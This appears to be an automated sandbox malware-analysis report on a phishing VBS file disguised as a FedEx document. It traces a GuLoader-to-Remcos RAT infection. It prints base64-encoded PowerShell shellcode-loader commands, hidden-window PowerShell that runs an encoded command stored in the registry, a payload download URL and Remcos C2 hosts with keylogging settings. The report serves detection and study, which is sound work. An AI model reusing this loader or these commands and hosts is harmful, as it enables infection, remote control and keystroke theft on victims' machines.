ALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACAAcABsAGEAdABvAG4AaQBzAG0AbQAgAE8AcABkAHIAaQBmAHQAcwAgAA0ACgBUA
            Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACAAcABsAGEAdABvAG4AaQBzAG0AbQAgAE8AcABkAHIAaQBmAHQAcwAgAA0ACgBUA
            Source: Pipe createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: PipeName: \PSHost.132872879861551741.5616.DefaultAppDomain.powershell

            Jbx Signature Overview

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Found malware configuration
            Source: 0000000C.00000002.642638940.0000000009300000.00000040.00000001.sdmpMalware Configuration Extractor: GuLoader {"Payload URL": "https://www.wizumiya.co.jp/html/user_data/original/images/Ev"}
            Source: 00000014.00000002.852416599.000000000361C000.00000004.00000020.sdmpMalware Configuration Extractor: Remcos {"Host:Port:Password": "rnnfibi.hopto.org:54666:1rnnfibiteammony.duckdns.org:54666:1", "Assigned name": "AS-NEW", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Disable", "Install path": "AppData", "Copy file": "bguy.exe", "Startup value": "iusk-dikf-iud", "Hide file": "Disable", "Mutex": "Remcos-IXYB2Q", "Keylog flag": "1", "Keylog path": "AppData", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "notepad;solitaire;", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio path": "AppData", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos", "Keylog file max size": "20000"}
            Multi AV Scanner detection for submitted file
            Source: 775578748333_FEDEX.vbsReversingLabs: Detection: 11%
            Yara detected Remcos RAT
            Source: Yara matchFile source: 00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000014.00000002.852416599.000000000361C000.00000004.00000020.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: ieinstal.exe PID: 4636, type: MEMORYSTR
            Multi AV Scanner detection for domain / URL
            Source: rnnfibi.hopto.orgVirustotal: Detection: 5%Perma Link
            Source: unknownHTTPS traffic detected: 52.68.15.223:443 -> 192.168.2.3:49756 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 52.68.15.223:443 -> 192.168.2.3:49758 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 52.68.15.223:443 -> 192.168.2.3:49759 version: TLS 1.2
            Source: Binary string: ieinstal.pdbGCTL source: ieinstal.exe, 00000014.00000003.629851436.000000001EC11000.00000004.00000001.sdmp
            Source: Binary string: ieinstal.pdb source: ieinstal.exe, 00000014.00000003.629851436.000000001EC11000.00000004.00000001.sdmp
            Source: Binary string: Microsoft.PowerShell.Commands.Managementt.pdb| source: powershell.exe, 0000001D.00000002.888436421.0000000007768000.00000004.00000001.sdmp

            Networking

            barindex
            Potential malicious VBS script found (has network functionality)
            Source: Initial file: BinaryStream.SaveToFile arges, 2
            C2 URLs / IPs found in malware configuration
            Source: Malware configuration extractorURLs: rnnfibi.hopto.org
            Source: Malware configuration extractorURLs: https://www.wizumiya.co.jp/html/user_data/original/images/Ev
            Source: global trafficTCP traffic: 192.168.2.3:49757 -> 199.195.253.181:54666
            Source: unknownNetwork traffic detected: HTTP traffic on port 49758 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49759
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49758
            Source: unknownNetwork traffic detected: HTTP traffic on port 49759 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49756 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49756
            Source: powershell.exe, 0000000C.00000002.632377605.00000000009CE000.00000004.00000020.sdmp, ieinstal.exe, 00000014.00000003.627018628.000000000364B000.00000004.00000001.sdmp, ieinstal.exe, 00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmp, powershell.exe, 0000001C.00000002.866332102.00000000007BE000.00000004.00000020.sdmp, powershell.exe, 0000001D.00000002.861142279.0000000000AC9000.00000004.00000001.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
            Source: powershell.exe, 0000000C.00000002.637943799.0000000005982000.00000004.00000001.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
            Source: powershell.exe, 0000000C.00000002.634360769.0000000004A63000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.639417925.00000000075CA000.00000004.00000001.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
            Source: powershell.exe, 0000000C.00000002.634360769.0000000004A63000.00000004.00000001.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.pngT
            Source: powershell.exe, 0000000C.00000002.633946561.0000000004921000.00000004.00000001.sdmp, powershell.exe, 00000018.00000002.873636132.0000000004921000.00000004.00000001.sdmp, powershell.exe, 0000001C.00000002.879042376.0000000004741000.00000004.00000001.sdmp, powershell.exe, 0000001D.00000002.878472669.0000000004A81000.00000004.00000001.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
            Source: powershell.exe, 0000000C.00000002.634360769.0000000004A63000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.639417925.00000000075CA000.00000004.00000001.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
            Source: powershell.exe, 0000000C.00000002.634360769.0000000004A63000.00000004.00000001.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.htmlT
            Source: powershell.exe, 0000000C.00000002.637943799.0000000005982000.00000004.00000001.sdmpString found in binary or memory: https://contoso.com/
            Source: powershell.exe, 0000000C.00000002.637943799.0000000005982000.00000004.00000001.sdmpString found in binary or memory: https://contoso.com/Icon
            Source: powershell.exe, 0000000C.00000002.637943799.0000000005982000.00000004.00000001.sdmpString found in binary or memory: https://contoso.com/License
            Source: powershell.exe, 0000000C.00000002.634360769.0000000004A63000.00000004.00000001.sdmp, powershell.exe, 0000000C.00000002.639417925.00000000075CA000.00000004.00000001.sdmpString found in binary or memory: https://github.com/Pester/Pester
            Source: powershell.exe, 0000000C.00000002.634360769.0000000004A63000.00000004.00000001.sdmpString found in binary or memory: https://github.com/Pester/PesterT
            Source: powershell.exe, 0000000C.00000002.637943799.0000000005982000.00000004.00000001.sdmpString found in binary or memory: https://nuget.org/nuget.exe
            Source: ieinstal.exe, 00000014.00000002.852346191.00000000035EF000.00000004.00000020.sdmpString found in binary or memory: https://www.wizumiya.co.jp/=-
            Source: ieinstal.exe, 00000014.00000002.852416599.000000000361C000.00000004.00000020.sdmpString found in binary or memory: https://www.wizumiya.co.jp/html/user_data/original/images/Aso-new-WO-S_PAgZvxdaV59.bin
            Source: ieinstal.exe, 00000014.00000002.852346191.00000000035EF000.00000004.00000020.sdmpString found in binary or memory: https://www.wizumiya.co.jp/u-
            Source: unknownDNS traffic detected: queries for: www.wizumiya.co.jp
            Source: global trafficHTTP traffic detected: GET /html/user_data/original/images/Aso-new-WO-S_PAgZvxdaV59.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.wizumiya.co.jpCache-Control: no-cache
            Source: global trafficHTTP traffic detected: GET /html/user_data/original/images/Aso-new-WO-S_PAgZvxdaV59.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.wizumiya.co.jpCache-Control: no-cache
            Source: global trafficHTTP traffic detected: GET /html/user_data/original/images/Aso-new-WO-S_PAgZvxdaV59.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.wizumiya.co.jpCache-Control: no-cache
            Source: unknownHTTPS traffic detected: 52.68.15.223:443 -> 192.168.2.3:49756 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 52.68.15.223:443 -> 192.168.2.3:49758 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 52.68.15.223:443 -> 192.168.2.3:49759 version: TLS 1.2

            Key, Mouse, Clipboard, Microphone and Screen Capturing

            barindex
            Installs a global keyboard hook
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeWindows user hook set: 0 keyboard low level C:\Program Files (x86)\internet explorer\ieinstal.exe

            E-Banking Fraud

            barindex
            Yara detected Remcos RAT
            Source: Yara matchFile source: 00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000014.00000002.852416599.000000000361C000.00000004.00000020.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: ieinstal.exe PID: 4636, type: MEMORYSTR

            System Summary

            barindex
            Wscript starts Powershell (via cmd or directly)
            Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACAAcABsAGEAdABvAG4Aa
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACAAcABsAGEAdABvAG4Aa
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Potential malicious VBS script found (suspicious strings)
